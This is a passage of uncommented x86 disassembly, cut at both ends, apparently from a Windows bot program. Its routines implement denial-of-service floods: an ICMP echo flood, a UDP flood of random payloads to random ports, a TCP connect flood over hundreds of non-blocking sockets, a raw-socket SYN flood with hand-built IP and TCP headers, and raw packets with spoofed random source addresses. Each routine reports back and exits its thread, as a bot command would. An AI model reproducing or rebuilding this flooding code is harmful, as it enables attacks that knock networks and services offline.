		call	dword_4CB96C	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413E6B
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_4CBA68	; gethostbyname
		cmp	eax, ebx
		jz	short loc_413E71


loc_413E6B:				; CODE XREF: sub_413E10+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_413ECE


loc_413E71:				; CODE XREF: sub_413E10+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_437A24
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413EB1
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409869
		add	esp, 14h


loc_413EB1:				; CODE XREF: sub_413E10+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_415D38
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread


loc_413ECE:				; CODE XREF: sub_413E10+5Fj
		cmp	eax, ebx
		jz	short loc_413EDE
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_413EE1
; ---------------------------------------------------------------------------


loc_413EDE:				; CODE XREF: sub_413E10+C0j
		mov	[ebp+var_4], esi


loc_413EE1:				; CODE XREF: sub_413E10+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_41BF70
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_413F01
		mov	[ebp+var_3C], eax


loc_413F01:				; CODE XREF: sub_413E10+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_413F09
		mov	[ebp+var_38], edi


loc_413F09:				; CODE XREF: sub_413E10+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_413F36


loc_413F10:				; CODE XREF: sub_413E10+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4CB8FC	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_413F10


loc_413F36:				; CODE XREF: sub_413E10+FEj
		push	[ebp+arg_0]
		call	dword_4CBA9C	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4379F8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_413F7F
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_409869
		add	esp, 14h


loc_413F7F:				; CODE XREF: sub_413E10+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_415D38
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_413E10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F9C	proc near		; DATA XREF: sub_401ACD+5679o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4CBA64	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA24	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_414081
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_4CBA68	; gethostbyname
		cmp	eax, edi
		jnz	short loc_41407A
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_437A78
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_41405D
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409869
		add	esp, 14h


loc_41405D:				; CODE XREF: sub_413F9C+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_415D38
		push	[ebp+var_20]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_41407A:				; CODE XREF: sub_413F9C+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_414084
; ---------------------------------------------------------------------------


loc_414081:				; CODE XREF: sub_413F9C+6Ej
		lea	eax, [ebp+arg_0]


loc_414084:				; CODE XREF: sub_413F9C+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_41409F
		call	sub_41C2C2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_4140A2
; ---------------------------------------------------------------------------


loc_41409F:				; CODE XREF: sub_413F9C+F0j
		push	[ebp+var_24]


loc_4140A2:				; CODE XREF: sub_413F9C+101j
		call	dword_4CB9E4	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_4140B4
		mov	[ebp+var_24], esi


loc_4140B4:				; CODE XREF: sub_413F9C+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_4140C1
		mov	[ebp+var_24], eax


loc_4140C1:				; CODE XREF: sub_413F9C+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_4140D5
		mov	[ebp+var_28], esi


loc_4140D5:				; CODE XREF: sub_413F9C+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_4140F6


loc_4140DC:				; CODE XREF: sub_413F9C+158j
		call	sub_41C2C2
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_4140DC


loc_4140F6:				; CODE XREF: sub_413F9C+13Ej
					; sub_413F9C+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_414155
		push	0Bh
		pop	esi


loc_414103:				; CODE XREF: sub_413F9C+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_4CBA48	; sendto
		push	[ebp+var_28]
		call	dword_427080	; Sleep
		dec	esi
		jnz	short loc_414103
		cmp	[ebp+var_24], edi
		jnz	short loc_4140F6
		call	sub_41C2C2
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4CB9E4	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_4140F6
; ---------------------------------------------------------------------------


loc_414155:				; CODE XREF: sub_413F9C+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset unk_437A4C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_414195
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_409869
		add	esp, 14h


loc_414195:				; CODE XREF: sub_413F9C+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_415D38
		push	[ebp+var_20]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
sub_413F9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141B2	proc near		; DATA XREF: sub_401ACD+4CC4o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_414313
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_437AA0
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414232
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409869
		add	esp, 14h


loc_414232:				; CODE XREF: sub_4141B2+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_4141B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: sub_414313+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		call	dword_427204	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_4271E0	; ioctlsocket


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	dword_4271F8	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		call	dword_427080	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		call	dword_427200	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp


; =============== S U B	R O U T	I N E =======================================



sub_414313	proc near		; CODE XREF: sub_4141B2+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A8F0
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41C159
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: sub_414313+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_414313	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414358	proc near		; DATA XREF: sub_401ACD+636Bo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4146A9
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437ACC
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4143D8
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409869
		add	esp, 14h


loc_4143D8:				; CODE XREF: sub_414358+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_414358	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: sub_4146A9+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB954	; WSAStartup
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA88	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9C4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9E4	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9E4	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9E4	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9E4	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_42713C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_427138	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9E4	; htons
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9E4	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9E0	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9E4	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA48	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_427138	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_437AF4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA7C	; closesocket
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB93C	; WSACleanup
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4146A9	proc near		; CODE XREF: sub_414358+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A8F0
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41C159
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: sub_4146A9+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4146A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414703	proc near		; DATA XREF: sub_401ACD+6D3Do

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CBA24	; inet_addr
		push	eax
		call	sub_4147A6
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_437B14
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414787
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409869
		add	esp, 14h


loc_414787:				; CODE XREF: sub_414703+62j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_414703	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147A6	proc near		; CODE XREF: sub_414703+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4CB9F8	; gethostname
		push	[ebp+var_4]
		call	dword_4CBA68	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4CBA64	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4CB9C4	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_41BEB5
		mov	edi, dword_4270B0
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4CB9E4	; htons
		mov	[ebp+var_96], ax


loc_4148C1:				; CODE XREF: sub_4147A6+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_4149A7
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_41C2C2
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_41C2C2
		mov	[ebp+var_20], ax
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4CB9E4	; htons
		push	esi
